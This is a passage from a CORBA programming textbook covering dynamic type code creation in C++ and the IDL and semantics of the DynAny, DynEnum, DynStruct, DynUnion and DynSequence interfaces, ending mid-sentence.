              in unsigned long    bound 
             ); 
 
        TypeCode create_fixed_tc( 
              in unsigned short  digits, 
              in short      scale 
             ); 
 
        TypeCode create_sequence_tc( 
              in unsigned long    bound, 
              in TypeCode        element_type 
             ); 
 
        TypeCode create_array_tc( 
              in unsigned long  length, 
              in TypeCode       element_type 
             ); 
 
        TypeCode create_recursive_tc( 
              in RepositoryId    id 
             ); 
       // ... 
      }; 
   // ... 
}; 
 
      
Much of this interface is self-explanatory. For each constructed IDL type, the ORB 
interface provides an operation to create the corresponding type code. If you consult 
Table 16.1 on page 696, you will find that the in parameters for all the create 
operations correspond to the parameters listed in the table. For example, 
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create_enum_tc requires the repository ID of the type code, the name of the type, 
and a sequence containing the names of the enumerators. 
 
For those parameters marked as optional in Table 16.1, it is legal to pass an empty 
string to the corresponding create operation. 
 
A few of the create operations deserve further explanation. 
 
create_struct_tc 
To create the type code of a structure, we must supply the repository ID, the structure 
name, and sequence of type StructMemberSeq containing one element for each 
structure member. Each element of type StructMember provides the name and type 
code for the member. In addition, it contains an object reference of type IDLType in the 
type_def member. For type code creation, you must always set this object reference to 
nil. (The type_def member of the structure is for use with the Interface Repository.) 
 
create_union_tc 
As with structures, the type_def member of the corresponding UnionMember type 
must be set to a nil reference for type code creation. 
 
create_recursive_tc 
To create a recursive type code, we must use create_recursive_tc to create a 
placeholder type code. That type code is replaced with the appropriate information once it 
is properly embedded in its enclosing type code. Consider again the recursive structure 
from Section 4.7.8: 

         
struct Node { 
    long     value; 
    sequence<Node> children; 
}; 
 
        

To create the type code for a structure of type Node, we can use the following code: 
         
CORBA::TypeCode_var placeholder 
    = orb->create_recursive_tc("IDL:Node:1.0"); 
 
CORBA::StructMemberSeq members; 
members.length(2); 
members[0].name = CORBA::string_dup("value"); 
members[0].type = CORBA::TypeCode::_duplicate(CORBA::_tc_long); 
members[1].name = CORBA::string_dup("children"); 
members[1].type = placeholder; 
 
CORBA::TypeCode_var struct_tc 
    = orb->create_struct_tc("IDL:Node:1.0", "Node", members); 
 
        

You must not call operations on the recursive placeholder type code until after it is 
properly embedded in its enclosing type code. 
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16.8.2 C++ Mapping for Type Code Creation 

The C++ mapping for the create operations follows the normal rules. Rather than repeat 
the corresponding C++ definitions here, we show two examples to illustrate how you can 
create type codes for structures and unions. Creation of type codes for other types is 
similar. 

Creating the Type Code for a Simple Structure 

Again, here is the IDL for the BtData structure from the climate control system: 
        
#pragma prefix "acme.com" 
 
module CCS { 
  // ... 
  typedef short     TempType; 
  // ... 
  interface Thermostat : Thermometer { 
     struct BtData { 
            TempType    requested; 
            TempType    min_permitted; 
            TempType    max_permitted; 
            string      error_msg; 
        }; 
       // ... 
    }; 
   // ... 
}; 
 
       
To create a type code for this structure, we must first create type codes for the member 
types. Then we construct a sequence of StructMember values (one for each member) 
and call create_struct_tc to create the type code for the structure. Here is a code 
fragment that achieves this: 
        
// 
// Create an alias for short called "TempType". 
// 
CORBA::TypeCode_var TempType_tc; 
TempType_tc = orb->create_alias_tc( 
                "IDL:acme.com/CCS/TempType:1.0", 
                "TempType", CORBA::_tc_short 
              ); 
// 
// Create a sequence containing the definitions for the 
// four structure members.  
// 
CORBA::StructMemberSeq  mseq; 
mseq.length(4); 
 
mseq[0].name = CORBA::string_dup("requested"); 
mseq[0].type = TempType_tc; 
mseq[0].type_def = CORBA::IDLType::_nil(); 
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mseq[1].name = CORBA::string_dup("min_permitted"); 
mseq[1].type = TempType_tc; 
mseq[1].type_def = CORBA::IDLType::_nil(); 
 
mseq[2].name = CORBA::string_dup("max_permitted"); 
mseq[2].type = TempType_tc; 
mseq[2].type_def = CORBA::IDLType::_nil(); 
 
mseq[3].name = CORBA::string_dup("error_msg"); 
mseq[3].type = CORBA::TypeCode::_duplicate(CORBA::_tc_string); 
mseq[3].type_def = CORBA::IDLType::_nil(); 
// 
// Create a type code for the BtData structure. 
// 
CORBA::TypeCode_var BtData_tc; 
BtData_tc = orb->create_struct_tc(  
                "IDL:acme.com/CCS/Thermostat/BtData:1.0", 
                "BtData", mseq 
            ); 
 
       
This code is straightforward. It builds the type code starting with the TempType alias. 
Then it constructs the member sequence and calls create_struct_tc to create the 
complete type code. The type code constructed in this way is indistinguishable from the 
CCS::Thermostat::_tc_BtData constant. 
 
Note that the preceding example calls _duplicate for the assignment of the 
CORBA::_tc_string constant reference to get a proper deep copy. There is no need 
to call _duplicate for the references returned by calls to _nil because _nil 
duplicates the reference for us (see Section 7.11.5). 
 
According to Table 16.1, many of the parameters passed to the create calls can be the 
empty string. Here is the same code example to create a type code for a BtData 
structure, but this time leaving all type and member names as the empty string: 
        
// 
// Create an alias for short. 
// 
CORBA::TypeCode_var TempType_tc; 
TempType_tc = orb->create_alias_tc("", "", CORBA::_tc_short); 
 
// 
// Create a sequence containing the definitions for the 
// four structure members. 
// 
CORBA::StructMemberSeq  mseq; 
mseq.length(4); 
 
mseq[0].type = TempType_tc; 
mseq[1].type = TempType_tc; 
mseq[2].type = TempType_tc; 
mseq[3].type = CORBA::TypeCode::_duplicate(CORBA::_tc_string); 
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// 
// Create a type code for the BtData structure. 
// 
CORBA::TypeCode_var BtData_tc; 
BtData_tc = orb->create_struct_tc( 
                "IDL:/acme.com/CCS/Thermostat/BtData", 
                "", mseq 
          ); 
 
       
Note that this example never initializes the name member of the StructMember 
structure. Instead, it relies on the default initialization of nested strings to the empty string. 
Neither does the code initialize the type_def members; instead, it relies on the default 
constructor to set the object reference member to nil. 

Creating the Type Code for a Union 

To create the type code for a union, we again must build the information beginning with 
the most nested type. Here again is the KeyType union from the climate control system: 
        
#pragma prefix "acme.com" 
 
module CCS { 
 typedef unsigned long  AssetType; 
 typedef string      ModelType; 
 typedef short       TempType; 
 typedef string      LocType; 
 // ... 
 
 interface Controller { 
    // ... 
 
    enum SearchCriterion { ASSET, LOCATION, MODEL }; 
    union KeyType switch(SearchCriterion) { 
    case ASSET: 
      AssetType   asset_num; 
    case LOCATION: 
      LocType     loc; 
    case MODEL: 
      ModelType   model_num; 
    }; 
  }; 
  // ... 
}; 
 
       
Following is the C++ code to create the type code for this union. Again, we hit a snag 
when it comes to adding the union label values: we can easily create an Any containing 
an enumerated value if we have linked against the IDL, but we cannot portably create 
such an Any if we do not have compile-time knowledge of the enumerated type. For now, 
we use the generated insertion operator for enumerated values, meaning that the code that 
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follows is not truly generic. (Chapter 17 shows how to create Any values without 
compile-time knowledge of user-defined types.) 
        
// 
// Create type codes for AssetType, ModelType, and LocType. 
// 
CORBA::TypeCode_var AssetType_tc; 
AssetType_tc = orb->create_alias_tc( 
                "IDL:acme.com/CCS/AssetType", 
                "AssetType", CORBA::_tc_ulong 
              ); 
CORBA::TypeCode_var ModelType_tc; 
ModelType_tc = orb->create_alias_tc( 
                "IDL:acme.com/CCS/ModelType", 
                "ModelType", CORBA::_tc_string 
              ); 
CORBA::TypeCode_var LocType_tc; 
LocType_tc = orb->create_alias_tc( 
                "IDL:acme.com/CCS/LocType", 
                "LocType", CORBA::_tc_string 
             ); 
 
// 
// Create union member sequence. 
// 
CORBA::Any a; 
CORBA::UnionMemberSeq mem_seq; 
mem_seq.length(3); 
 
a < <= CCS::Controller::ASSET;       // Assumes IDL is known 
mem_seq[0].name = CORBA::string_dup("asset_num"); 
mem_seq[0].label = a; 
mem_seq[0].type = AssetType_tc; 
mem_seq[0].type_def = CORBA::IDLType::_nil(); 
 
a < <= CCS::Controller::LOCATION;    // Assumes IDL is known 
mem_seq[1].name = CORBA::string_dup("loc"); 
mem_seq[1].label = a; 
mem_seq[1].type = LocType_tc; 
mem_seq[1].type_def = CORBA::IDLType::_nil(); 
 
a < <= CCS::Controller::MODEL;       // Assumes IDL is known 
mem_seq[2].name = CORBA::string_dup("model_num"); 
mem_seq[2].label = a; 
mem_seq[2].type = ModelType_tc; 
mem_seq[2].type_def = CORBA::IDLType::_nil(); 
 
// 
// Create type code for SearchCriterion discriminator. 
// 
CORBA::EnumMemberSeq es; 
es.length(3); 
es[0] = CORBA::string_dup("ASSET"); 
es[1] = CORBA::string_dup("LOCATION"); 
es[2] = CORBA::string_dup("MODEL"); 
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CORBA::TypeCode_var SearchCriterion_tc; 
SearchCriterion_tc = orb->create_enum_tc( 
            "IDL:acme.com/CCS/Controller/SearchCriterion:1.0", 
            "SearchCriterion", es); 
 
// 
// Create type code for KeyType union. 
// 
CORBA::TypeCode_var KeyType_tc; 
KeyType_tc = orb->create_union_tc(  
                "IDL:acme.com/CCS/Controller/KeyType:1.0", 
                "KeyType", SearchCriterion_tc, mem_seq 
            ); 
 
       
Again, there is nothing remarkable about this code (other than its verbosity). Clearly, you 
will bother to create type codes in this way if you cannot link against the IDL definition, 
such as for a generic protocol bridge or an object inspector. Usually, such generic 
applications not only use dynamic creation of type codes but also use DynAny to 
dynamically construct values (Chapter 17). They also use an Interface Repository that 
provides run-time knowledge of the data types, and use the Dynamic Invocation Interface 
(DII) and the Dynamic Skeleton Interface (DSI). 

16.9 Summary 

Type codes provide run-time type safety and introspection capabilities in CORBA. In 
combination with types any and DynAny, type codes provide the fundamental 
mechanism required to manipulate values whose types are not known at run time. Type 
codes enable the creation of services such as the OMG Notification Service and are 
essential for applications such as protocol bridges, which use the Dynamic Invocation 
Interface and the Dynamic Skeleton Interface and intrinsically depend on the 
introspection capabilities provided by type codes. 
 
Type code comparison semantics are ill defined prior to CORBA 2.3. If you want to build 
applications that require precise semantics for type code comparisons, it is probably best 
to use a CORBA 2.3 ORB for your implementation. 
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Chapter 17. Type DynAny  

17.1 Chapter Overview 

This chapter discusses the DynAny interface and its derived interfaces. The DynAny 
interface permits you to compose and decompose complex values at run time even 
without compile-time knowledge of the IDL definitions involved. Section 17.3 
presents the IDL and functionality for DynAny and its derived types. Section 17.4 
explains how to use DynAny from C++, and Sections 17.5 and 17.6 present a few 
applications of DynAny. 

17.2 Introduction 

As you saw in Chapters 15 and 16, to insert a user-defined value into an Any you 
must have compile-time knowledge of the corresponding IDL type because to insert a 
value into an Any, you must use the corresponding overloaded <= operator generated by 
the IDL compiler. 
 
This inability to construct Any values on-the-fly is a severe drawback for some 
applications. For example, debuggers, generic user interfaces for objects, and services 
such as the OMG Notification Service [26] all require the ability to interpret values 
without knowing the values' IDL types at compile time. 
 
The DynAny interface was added to CORBA with the 2.2 revision to permit applications 
to dynamically compose and decompose any values. In a nutshell, the DynAny interface 
does for any values what the TypeCode interface does for type codes. DynAny permits 
applications to compose a value at run time whose type was unknown when the 
application was compiled, and to transmit that value as an any. Similarly, DynAny 
allows applications to receive a value of type any from an operation invocation and both 
to interpret the type of the any (using the TypeCode interface) and to extract its value 
(using the DynAny interface) without compile-time knowledge of the IDL types 
involved. 
 
Unfortunately, the DynAny interfaces published with CORBA 2.2 contained a number of 
defects. As a result, the interfaces were (incompatibly) revised with CORBA 2.3, which 
is the version we describe here. If you need to find out which version is supported by 
your ORB, look for the definition of the DynAny interface. If the definition appears 
inside the DynamicAny module, you have the 2.3 version; if the definition appears 
inside the CORBA module, you have the (now obsolete) 2.2 version. 
 
The DynAny interface is large, so we follow the same approach here as in Chapter 16: 
we first present the IDL interface for DynAny and then illustrate its use in C++ with a 
few examples. 
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17.3 The DynAny Interface 

The DynAny API is composed of nine interfaces. One of these, interface 
DynAnyFactory, allows you to create DynAny objects. The other interfaces are 
DynAny and seven interfaces derived from DynAny, as shown in Figure 17.1. 

Figure 17.1 Interface inheritance hierarchy for DynAny. 

 
All these interfaces are defined in the DynamicAny module. The derived interfaces, 
such as DynFixed and DynStruct, are used to create any values of the 
corresponding type (DynStruct is used both for structures and for exceptions). The 
DynAny base interface deals with any values containing other IDL types, such as strings, 
object references, and so on.[1]  

[1] Note that DynValue represents an any containing an object-by-value. Because we do not 
cover OBV in this book, we do not cover DynValue (see [18] for details). 

17.3.1 Locality Constraints 

DynAny and DynAnyFactory are locality-constrained interfaces. This means that you 
cannot pass instances of DynFactory or DynAny and its derived interfaces over the 
wire, and you cannot stringify references to these interfaces with 
ORB::object_to_string. Otherwise, locality-constrained objects are like ordinary 
objects. In particular, they implicitly inherit from Object and therefore support 
operations such as is_a and is_equivalent. 
 
DynAny allows you to compose and decompose values of type any. To dynamically 
compose an any value and send it across an interface, you first construct a DynAny 
object and then extract the corresponding any value from it. Similarly, to dynamically 
decompose an any value, you initialize a DynAny object from the any value and use 
the DynAny object for decomposition. 
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17.3.2 IDL for DynAny 

The IDL for DynAny is large, so we present it in stages here. The functionality relating 
to DynAny falls into the following broad categories. 
 
Creation operations 
Life cycle operations (copying and destroying DynAny objects) 
Type code operations (setting and retrieving the type code of DynAny objects) 
Insertion operations (inserting values of basic type into DynAny objects to compose 
complex types) 
Extraction operations (extracting values of basic type from DynAny objects to 
decompose them) 
Iteration operations (getting from one component of a DynAny to the next) 
Conversion operations between DynAny and any values 

DynAny Creation 

Before we look at the DynAny interface itself, we must consider how to create a 
DynAny object. The creation operations for DynAny are provided by the 
DynAnyFactory interface: 
        
module DynamicAny { 
    interface DynAny;   // Forward declaration 
 
    interface DynAnyFactory { 
        exception InconsistentTypeCode {}; 
 
        DynAny create_dyn_any(in any value) 
                    raises(InconsistentTypeCode); 
        DynAny create_dyn_any_from_type_code(in CORBA::TypeCode t) 
                    raises(InconsistentTypeCode); 
    }; 
    // ... 
}; 
 
       
You obtain a reference to the factory by passing the string "DynAnyFactory" to 
ORB::resolve_initial_references. 
 
The fundamental creation operation is create_dyn_any, which constructs a DynAny 
object from an any value. The new DynAny object contains the same type code as the 
any value passed to the operation. 
 
If the any value passed to create_dyn_any is not a structure, exception, sequence, 
array, union, enumeration, fixed-point type, or object-by-value, the returned object 
reference is of type DynAny. Otherwise, the actual run-time type of the reference is 
DynStruct, DynSequence, and so on, depending on the type of value contained in 
the value parameter passed to create_dyn_any. 
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To determine the exact type of a DynAny, you can extract its type code and use the 
TCKind value of the type code to narrow the reference to the appropriate derived type. 
The other creation operation, create_dyn_any_from_type_code, creates a 
default-initialized DynAny object for the type code passed as the t parameter. Default 
initialization for simple types assigns a default value as follows. 
 
Boolean values are set to false. 
Numeric (integral and floating-point) values and values of type octet, char, and 
wchar are set to zero. 
 
Values of type string or wstring (whether bounded or unbounded) are set to the 
empty string. 
 
Object references are set to nil. 
Values of type TypeCode are set to tk_null.[2]  

[2] You can create a DynAny for an any containing a type code as its value. In that 
case, the any contains a type code indicating tk_TypeCode and a type code value. 
For default initialization, that type code value is set to tk_null. 

Values of type any are set to contain a tk_null type code and no value. 
For complex types, default initialization assigns a default value as follows. 
 
Sequence values are set to the empty sequence. 
Fixed-point values are set to zero. 
Enumerated values are set to the first enumerator indicated by the type code. 
Structure and exception members are set (recursively) to their default values. 
Array elements are set (recursively) to their default values. 
For unions, the discriminator is set to indicate the first named member of the union; that 
member is set (recursively) to its default value. 
 
Whenever you create a DynAny object, the type code associated with the DynAny object 
during creation remains with that object for its lifetime. You cannot change the type code 
of a DynAny object later. 
 
The creation operations raise an InconsistentTypeCode exception if you attempt 
to create a DynAny object with an illegal or obsolete type code, such as the deprecated 
tk_Principal type code. 

DynAny Life Cycle, Assignment, Comparison, and Conversion 

Here is the first part of the DynAny interface: 
        
module DynamicAny { 
    // ... 
    interface DynAny { 
        exception InvalidValue {}; 
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        exception TypeMismatch {}; 
 
        // Assignment and life cycle operations 
        void    assign(in DynAny dyn_any) raises(TypeMismatch); 
        DynAny  copy(); 
        void    destroy(); 
 
        // Comparison 
        boolean equal(in DynAny da); 
 
        // Conversion operations 
        void    from_any(in any value) 
                    raises(TypeMismatch, InvalidValue); 
        any     to_any(); 
 
        // Type code accessor 
        CORBA::TypeCode type(); 
 
        // More operations here... 
    }; 
}; 
 
       
The life cycle operations copy and destroy have the usual semantics. The copy 
operation returns a deep copy of a DynAny, and the destroy operation destroys a 
DynAny (including any DynAny objects it may be composed of). Before you release the 
last reference to a DynAny object that was created by one of the factory operations or by 
the copy operation, you must explicitly call destroy on the object; otherwise, you 
may leak memory. Invoking an operation on a destroyed DynAny raises 
OBJECT_NOT_EXIST.[3]  

[3] To the best of our knowledge, all current ORBs do nothing on a call to destroy and instead 
destroy a DynAny object when you release its last object reference. However, strictly speaking, 
the call to destroy is required by the specification (even if it does nothing for a particular 
implementation). 

The assign operation makes a deep assignment of the contents of a DynAny object to 
another DynAny object. You can assign DynAnys to each other only if both source and 
target have the same type code (as determined by TypeCode::equivalent); 
otherwise, assign raises TypeMismatch. The type code of a DynAny is set when 
that DynAny is created and cannot be changed for the lifetime of the DynAny. 
 
The equal operation returns true if the type codes of the two DynAnys are equivalent 
and if (recursively) all component DynAnys have identical values. 
 
The from_any and to_any operations provide conversion between types any and 
DynAny. For the from_any operation, you must pass an any with a type code that is 
equivalent to that of the target DynAny; otherwise, you get a TypeMismatch 
exception. Similarly, the source any must contain a legal value; for example, passing an 
any containing a null string raises InvalidValue. 
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The type operation returns the type code of its DynAny. This operation is useful if you 
are passed a DynAny for a complex type and you want to narrow that DynAny to a 
derived type, such as DynSequence. 

DynAny Composition 

The DynAny interface contains one operation to insert each type of non-structured value 
into a DynAny. To do this, you must have previously created a DynAny object. The type 
code of the DynAny must be equivalent to that of the value being inserted; otherwise, the 
operations raise an InvalidValue exception. 
        
interface DynAny { 
    // ... 
 
    // Insertion operations 
    void    insert_boolean(in boolean value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_octet(in octet value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_char(in char value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_wchar(in wchar value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_short(in short value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_ushort(in unsigned short value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_long(in long value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_ulong(in unsigned long value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_longlong(in long long value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_ulonglong(in unsigned long long value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_float(in float value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_double(in double value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_longdouble(in long double value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_string(in string value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_wstring(in wstring value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_reference(in Object value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_typecode(in CORBA::TypeCode value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_any(in any value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_dyn_any(in DynAny value) 
                raises(TypeMismatch, InvalidValue); 
    void    insert_val(in ValueBase value) 
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                raises(TypeMismatch, InvalidValue); 
    // ... 
}; 
 
       
As you can see, there is one operation for each simple type. Each operation accepts a 
value and inserts it into a DynAny, raising TypeMismatch if the value's type does not 
match that of the operation. The InvalidValue exception is raised if the value is 
unacceptable (such as inserting a string that exceeds the bound of a bounded string). 
InvalidValue is also raised if you attempt to insert a value into a DynAny that has 
components but has a current position of -1 (see page 746). 
 
The insert_any operation inserts an any value into the any represented by the 
DynAny. (The net effect is that one any value is nested inside another.) 
 
The insert_dyn_any operation does the same thing as insert_any but accepts a 
DynAny parameter. This is useful if you have just constructed an any value as a 
DynAny and now want to insert it into another DynAny (because it saves the need to 
convert the DynAny to an any before insertion). 

DynAny Decomposition 

To complement the insertion operations, DynAny also contains operations to extract 
values from a DynAny. As with insertion, the operation must match the type code of the 
DynAny; otherwise, it raises a TypeMismatch exception. Attempts to extract a value 
from a DynAny that has components, but has a current position of -1, raise 
InvalidValue (see page 746). 
        
interface DynAny { 
    // ... 
 
    // Extraction operations 
    boolean             get_boolean() 
                            raises(TypeMismatch, InvalidValue); 
    octet               get_octet() 
                            raises(TypeMismatch, InvalidValue); 
    char                get_char() 
                            raises(TypeMismatch, InvalidValue); 
    wchar               get_wchar() 
                            raises(TypeMismatch, InvalidValue); 
    short               get_short() 
                            raises(TypeMismatch, InvalidValue); 
    unsigned short      get_ushort() 
                            raises(TypeMismatch, InvalidValue); 
    long                get_long() 
                            raises(TypeMismatch, InvalidValue); 
    unsigned long       get_ulong() 
                            raises(TypeMismatch, InvalidValue); 
    long long           get_longlong() 
                            raises(TypeMismatch, InvalidValue); 
    unsigned long long  get_ulonglong() 
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                            raises(TypeMismatch, InvalidValue); 
    float               get_float() 
                            raises(TypeMismatch, InvalidValue); 
    double              get_double() 
                            raises(TypeMismatch, InvalidValue); 
    long double         get_longdouble() 
                            raises(TypeMismatch, InvalidValue); 
    string              get_string() 
                            raises(TypeMismatch, InvalidValue); 
    wstring             get_wstring() 
                            raises(TypeMismatch, InvalidValue); 
    Object              get_reference() 
                            raises(TypeMismatch, InvalidValue); 
    CORBA::TypeCode     get_typecode() 
                            raises(TypeMismatch, InvalidValue); 
    any                 get_any() 
                            raises(TypeMismatch, InvalidValue); 
    DynAny              get_dyn_any() 
                            raises(TypeMismatch, InvalidValue); 
    ValueBase           get_val() 
                            raises(TypeMismatch, InvalidValue); 
    // ... 
}; 
 
       

DynAny Iteration 

The DynAny interface provides five operations to iterate over the components of a 
DynAny. Iteration applies only to structures, exceptions, unions, sequences, arrays, and 
value types. Here are the relevant IDL definitions: 
        
interface DynAny { 
    // ... 
 
    // Iteration operations 
    unsigned long   component_count(); 
    DynAny          current_component() raises(TypeMismatch); 
    boolean         seek(in long index); 
    boolean         next(); 
    void            rewind(); 
}; 
 
       
A DynAny value consists of a type code and an ordered collection of component 
DynAny values. For example, a DynAny for a structure having four members contains a 
collection of four DynAny values, one for each member. The iterator operations permit 
you to selectively examine the contents of the collection. 
 
Each DynAny value maintains a current position in its collection of components. The 
current position is indexed from 0 to n-1, where n is the number of components. For 
example, for a four-member structure, the index ranges from 0 to 3. The current position 
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of a DynAny can indicate the "no current component" condition; in that case, the index 
value is -1. 
 
When a DynAny is created, the initial index is zero if that DynAny has components. For 
example, creating a DynStruct for a four-member structure sets the index to zero, so 
the current position initially indicates the first member of the structure. On the other hand, 
creating a DynAny for a type that cannot have components (such as a long or an empty 
exception) sets the index to -1. 
 
The component_count operation returns the number of components of a DynAny. 
For simple types, such as long, and for enumerated and fixed-point types, 
component_count returns zero. For sequences, the operation returns the number of 
elements in the sequence; for structures and exceptions, it returns the number of members; 
for arrays, it returns the number of elements; for unions, it returns 2 if a member is active 
and 1 otherwise. 
 
The current_component operation returns the DynAny for the component at the 
current position. The current position is not affected by this call, so successive calls to 
current_component return the same component. (You must explicitly call next or 
seek to advance to the next component.) Calling current_component on a 
DynAny that cannot have components (such as a long or an empty exception) raises 
TypeMismatch. Calling current_component on a DynAny that has components, 
but whose current position is -1, returns a nil reference. You can call the destroy 
operation on non-nil DynAnys returned by current_component. However, the call 
will have no effect. Instead, you must call destroy on DynAnys created with 
create_dyn_any, create_dyn_any_from_type_code, or copy. 
 
The next operation increments the current position and returns true if the new current 
position denotes a component. Otherwise, if you call next with the current position 
already at the final component, next returns false and sets the current position to -1. If 
you call next on a DynAny that does not contain components (such as the DynAny for 
a string), next returns false and leaves the current position at -1. 
 
The seek operation allows you to explicitly set the current position (a value of zero 
indicates the first component). The seek operation returns true if the position denoted by 
index points at an existing component. If index denotes a non-existent position, seek 
returns false and sets the current position to -1. If you call seek on a DynAny that does 
not have components, seek returns false and leaves the current position at -1. 
 
The rewind operation is equivalent to calling seek(0). 
 
Note that all the insert_type and get_type operations on DynAny leave the 
current position unchanged. 
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If all this seems a bit abstract right now, don't despair—we show examples of iterating 
over the components of a DynAny in Section 17.4.3. 

17.3.3 IDL for DynEnum 

The DynEnum interface manipulates values of enumerated type: 
       
interface DynEnum : DynAny { 
    string          get_as_string(); 
    void            set_as_string(in string val) 
                        raises(InvalidValue); 
    unsigned long   get_as_ulong(); 
    void            set_as_ulong(in unsigned long val) 
                        raises(InvalidValue); 
}; 
 
      
The get_as_string and set_as_string operations provide access to an 
enumerated value by its IDL identifier. For example, given the enumeration 
       
enum Color { red, green, blue }; 
 
      
you can set a DynEnum value to red by calling set_as_string("red"). Note that 
enumerator names are optional in type codes (see Section 16.3.2). As a result, 
get_as_string returns an empty string if you construct a DynEnum from an any 
whose type code does not contain enumerator names. In that case, set_as_string 
raises InvalidValue, as it does if you pass it a string that is outside the range of the 
enumerated type. (For example, for the Color enumeration, calling 
set_as_string("black") raises InvalidValue.) 
 
The get_as_ulong and set_as_ulong operations provide access to the ordinal 
value of an enumerated value. For example, calling set_as_ulong(1) does the same 
thing as calling set_as_string("green"). However, set_as_ulong works 
even if the type code for the enumeration does not contain the enumerator identifiers. 
Passing a value outside the range of the enumerated type to set_as_ulong raises 
InvalidValue. 

17.3.4 IDL for DynStruct 

The DynStruct interface allows us to manipulate structures as well as exceptions. 
       
typedef string FieldName; 
 
struct NameValuePair { 
    FieldName   id; 
    any         value; 
}; 
typedef sequence<NameValuePair> NameValuePairSeq; 
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struct NameDynAnyPair { 
    FieldName   id; 
    DynAny      value; 
}; 
typedef sequence<NameDynAnyPair> NameDynAnyPairSeq; 
 
interface DynStruct : DynAny { 
    FieldName           current_member_name() 
                            raises(TypeMismatch, InvalidValue); 
    CORBA::TCKind       current_member_kind() 
                            raises(TypeMismatch, InvalidValue); 
    NameValuePairSeq    get_members(); 
    void                set_members(in NameValuePairSeq value) 
                            raises(TypeMismatch, InvalidValue); 
    NameDynAnyPairSeq   get_members_as_dyn_any(); 
    void                set_members_as_dyn_any( 
                            in NameDynAnyPairSeq value 
                        ) raises(TypeMismatch, InvalidValue); 
}; 
 
      
The main operations are get_members and set_members. They allow you to set and 
get the value of the structure or exception members as a sequence of name-value pairs. 
Each element in the sequence represents one structure member (so for a four-member 
structure, the sequence would contain four name-value pairs). Each name-value pair 
contains the name of the structure member (a string) and its value (of type any). 
 
You must ensure that a sequence passed to set_members has the correct number of 
elements (one for each structure member) and contains the structure members in the same 
order as their IDL definition; otherwise, set_members raises TypeMismatch. The 
values inserted must be consistent with the members' type codes; otherwise, 
set_members raises InvalidValue. 
 
The current_member_name operation returns the name of the member at the current 
position as established by the iterator operations on the DynAny base interface. Note that 
because member names are optional in type codes, current_member_name may 
return an empty string. If the DynStruct represents an empty exception, 
current_member_name raises TypeMismatch. If the current position is -1, 
current_member_name raises InvalidValue. 
 
The current_member_kind operation returns the TCKind value for the type code 
of the current member. The exception semantics are the same as for 
current_member_name. 
 
get_members_as_dyn_any and set_members_as_dyn_any are analogous to 
get_members and set_members, but they operate on sequences of name-DynAny 
pairs. These operations are useful if you are working extensively with DynStructs 
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because they avoid the need to convert a constructed DynAny into an any before it can 
be used to get or set structure members. 

17.3.5 IDL for DynUnion 

The DynUnion interface allows us to manipulate unions. 
       
interface DynUnion : DynAny { 
    DynAny              get_discriminator(); 
    void                set_discriminator(in DynAny d) 
                            raises(TypeMismatch); 
    void                set_to_default_member() 
                            raises(TypeMismatch); 
    void                set_to_no_active_member() 
                            raises(TypeMismatch); 
    boolean             has_no_active_member() 
                            raises(TypeMismatch); 
    CORBA::TCKind       discriminator_kind(); 
    DynAny              member() raises(InvalidValue); 
    FieldName           member_name(); 
    CORBA::TCKind       member_kind(); 
}; 
 
      
A DynUnion has two valid current positions: 0, which denotes the discriminator, and 1, 
which denotes the active member. component_count for a DynUnion is 1 if the 
discriminator value indicates that no member is active; otherwise, it is 2. 
 
The get_discriminator operation returns the discriminator value of the union as a 
DynAny. 
 
The set_discriminator operation sets the discriminator value of the union. 
Attempts to set a discriminator value that disagrees with the type code for the union raise 
TypeMismatch. Setting the discriminator can affect the active member and the current 
position of the union. 
 
If the discriminator is set to a value that agrees with the currently active member, that 
member remains active and the current position is set to 1. 
 
If the discriminator is set to a value that belongs to a member of the union that is not 
currently active, the currently active member (if any) is destroyed and the member 
corresponding to the new discriminator value is initialized to its default value. The 
current position is set to 1. 
 
If the discriminator is set to a value that indicates that no member should be active, the 
currently active member (if any) is destroyed and the current position is set to 0. 
 
The set_to_default_member operation sets the discriminator to a value that is 
consistent with the default member of the union and sets the current position to 0. If 
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the union does not have an explicit default case, the operation raises 
TypeMismatch. 
 
The set_to_no_active_member operation sets the discriminator to a value that 
does not correspond to any of the union's case labels. Calling this operation sets the 
current position to 0 (and causes component_count to return 1). If the union has an 
explicit default case, the operation raises TypeMismatch. 
 
The has_no_active_member operation returns true if the union's discriminator has a 
value that does not correspond to an active member. In other words, the operation returns 
true if the union consists solely of a discriminator because no member is active. The 
operation returns false for unions with an explicit default label and for unions that 
exhaust the entire discriminator range for explicit case labels. 
 
The member operation returns the currently active member as a DynAny. You can 
examine (and change) the value of the active member via that DynAny. Note that the 
returned reference remains valid only for as long as the active member remains active. If 
you use the returned reference after activating a different member, you receive an 
OBJECT_NOT_EXIST exception. Calling member on a union that does not currently 
have an active member raises InvalidValue. 
 
The discriminator_kind and member_kind operations return the TCKind value 
of the discriminator and member type, respectively. The member_name operation 
allows you to read the name of the active member. Because member names are optional 
within type codes, this operation may return the empty string. 

17.3.6 IDL for DynSequence 

The DynSequence interface allows us to manipulate sequences. 
       
typedef sequence<any> AnySeq; 
typedef sequence<DynAny> DynAnySeq; 
 
interface DynSequence : DynAny { 
    unsigned long   get_length(); 
    void            set_length(in unsigned long len) 
                        raises(InvalidValue); 
    AnySeq          get_elements(); 
    void            set_elements(in AnySeq value) 
                        raises(TypeMismatch, InvalidValue); 
    DynAnySeq       get_elements_as_dyn_any(); 
    void            set_elements_as_dyn_any(in DynAnySeq value) 
                        raises(TypeMismatch, InvalidValue); 
}; 
 
      
The get_length operation returns the number of elements of the sequence. 
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The set_length operation sets the number of elements of the sequence. If you 
increase the number of elements, new elements are added at the tail of the sequence and 
are default-initialized. If the current position of the sequence is valid (not -1), increasing 
